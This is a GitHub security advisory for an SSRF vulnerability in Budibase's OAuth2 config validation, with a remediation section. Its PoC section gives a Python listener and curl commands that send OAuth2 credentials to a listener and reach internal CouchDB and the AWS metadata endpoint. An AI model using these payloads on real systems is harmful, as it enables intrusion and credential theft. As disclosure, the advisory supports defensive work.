Skip to content

Budibase: SSRF via OAuth2 Config Validation — Missing fetchWithBlacklist Protection

High severity GitHub Reviewed Published May 21, 2026 in Budibase/budibase

Package

npm @budibase/server (npm)

Affected versions

< 3.39.0

Patched versions

3.39.0

Description

Summary

The OAuth2 token fetch function in packages/server/src/sdk/workspace/oauth2/utils.ts (line 59) uses raw fetch(config.url) with no SSRF protection. The safe wrapper fetchWithBlacklist() exists in the same codebase and is used in every other outbound HTTP call (automation steps, plugin downloads, object store), but was not applied to the OAuth2 token endpoint.

A user with BUILDER role can point the OAuth2 token URL to internal services (CouchDB, cloud metadata) to exfiltrate sensitive data.

Details

Vulnerable code — packages/server/src/sdk/workspace/oauth2/utils.ts:59:

async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
  // ...
  const response = await fetch(config.url, fetchConfig)  // NO blacklist check!
  // ...
}

Safe wrapper used everywhere else — packages/backend-core/src/utils/outboundFetch.ts:

export async function fetchWithBlacklist(url: string, opts?: RequestInit) {
  await blacklist.isBlacklisted(url)  // Checks against internal IPs
  const response = await fetch(url, { ...opts, redirect: "manual" })
  // Re-checks every redirect target
}

Where fetchWithBlacklist IS used (consistency gap proof):

  • automations/steps/discord.ts — Discord webhook
  • automations/steps/slack.ts — Slack webhook
  • automations/steps/make.ts — Make.com integration
  • automations/steps/n8n.ts — n8n integration
  • automations/steps/zapier.ts — Zapier integration
  • automations/steps/outgoingWebhook.ts — Custom webhooks
  • Plugin download (GitHub, NPM)
  • Object store tarball downloads

Where it is NOT used:

  • sdk/workspace/oauth2/utils.ts:59 — OAuth2 token fetch ← THIS VULNERABILITY

PoC

# 1. Start SSRF listener
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers.get('Content-Length', 0))
        body = self.rfile.read(length)
        print(f'SSRF: {self.path} | Body: {body.decode()}')
        self.send_response(200)
        self.send_header('Content-Type','application/json')
        self.end_headers()
        self.wfile.write(b'{\"access_token\":\"x\",\"token_type\":\"bearer\"}')
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
" &

# 2. As builder, validate OAuth2 config pointing to internal service
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:9999/ssrf","clientId":"test","clientSecret":"test"}'

# Result: Listener captures POST with Authorization: Basic header containing credentials
# The client_id and client_secret are leaked to the attacker-controlled URL

# 3. Access internal CouchDB
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:5984/_all_dbs","clientId":"x","clientSecret":"x"}'

# Result: {"valid":false,"message":"Unauthorized"} — confirms CouchDB is reachable

# 4. Access AWS metadata (in cloud deployments)
curl -b cookies.txt -X POST http://budibase:10000/api/oauth2/validate \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/","clientId":"x","clientSecret":"x"}'

Additional SSRF Vector: REST Integration Redirect Bypass

The REST integration at packages/server/src/integrations/rest.ts:754-778 calls blacklist.isBlacklisted(url) only once on the initial URL, then passes it to undici.fetch() with default redirect: "follow". Redirect targets are NOT re-checked against the blacklist. An attacker can use an external URL that 302-redirects to 169.254.169.254.

Contrast with safe wrapper: fetchWithBlacklist() uses redirect: "manual" and re-checks every redirect target.

Impact

  • Internal service access — CouchDB (default port 5984), Redis, internal APIs
  • Cloud metadata exfiltration — AWS/GCP/Azure IAM credentials via 169.254.169.254
  • Credential leakage — OAuth2 client_id and client_secret sent as Basic auth to attacker URL
  • Network reconnaissance — Scan internal ports by observing error differences (ECONNREFUSED vs timeout vs response)

Remediation

Replace fetch(config.url, fetchConfig) with fetchWithBlacklist(config.url, fetchConfig) in packages/server/src/sdk/workspace/oauth2/utils.ts:

import { fetchWithBlacklist } from "@budibase/backend-core/utils"

async function fetchToken(config: OAuth2Config): Promise<TokenResponse> {
  // ...
  const response = await fetchWithBlacklist(config.url, fetchConfig)
  // ...
}

Also fix the REST integration redirect bypass in packages/server/src/integrations/rest.ts by using fetchWithBlacklist() instead of raw undici.fetch().

References

@mjashanks mjashanks published to Budibase/budibase May 21, 2026
Published by the National Vulnerability Database May 27, 2026
Published to the GitHub Advisory Database Jun 12, 2026
Reviewed Jun 12, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(10th percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-48146

GHSA ID

GHSA-g6qx-g4pr-92v7

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.